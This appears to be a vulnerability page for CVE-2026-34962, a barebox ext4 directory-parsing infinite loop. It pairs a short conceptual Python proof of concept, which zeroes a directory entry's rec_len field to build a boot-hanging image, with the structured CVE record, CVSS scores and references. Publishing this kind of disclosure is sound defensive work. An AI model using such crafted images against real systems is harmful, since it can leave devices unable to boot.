CVE-2026-34962

import os import struct # Conceptual PoC to demonstrate patching an ext4 directory entry to trigger the infinite loop. # This requires a valid ext4 image as input. def create_malicious_ext4(input_image, output_image, offset_to_dirent): """ Modifies an ext4 image to set a directory entry length (rec_len) to 0. """ with open(input_image, 'rb') as f: data = bytearray(f.read()) # ext4 directory entry structure (simplified): # 4 bytes: inode # 2 bytes: rec_len (The target field) # 1 byte: name_len # 1 byte: file_type # ... name ... # Assuming we know the offset to the rec_len field (inode + 4 bytes) # This is a PoC illustration; finding the exact offset requires parsing the filesystem. if offset_to_dirent + 6 < len(data): # Set rec_len to 0 (2 bytes, little endian) # This causes the infinite loop in barebox. struct.pack_into('<H', data, offset_to_dirent + 4, 0x0000) print(f"[+] Modified directory entry length at offset {offset_to_dirent} to 0") with open(output_image, 'wb') as f: f.write(data) print(f"[+] Malicious image written to {output_image}") # Usage (requires actual image and offset analysis): # create_malicious_ext4('valid.ext4.img', 'malicious.ext4.img', 0x1000)

{"cve": {"id": "CVE-2026-34962", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:19:47.813", "lastModified": "2026-05-11T23:19:47.813", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "barebox version prior to 2026.04.0 contains a denial-of-service vulnerability in ext4 directory parsing in fs/ext4/ext4_common.c where the ext4fs_iterate_dir() function fails to validate that directory entry length values are non-zero. Attackers can supply a malicious ext4 filesystem image with a crafted directory entry containing a direntlen value of 0 to cause an infinite loop during directory listing or path resolution, resulting in the boot process hanging indefinitely."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "references": [{"url": "https://github.com/barebox/barebox", "source": "[email protected]"}, {"url": "https://github.com/barebox/barebox/releases/tag/v2026.04.0", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/barebox-ext4-directory-parsing-infinite-loop-denial-of-service", "source": "[email protected]"}]}}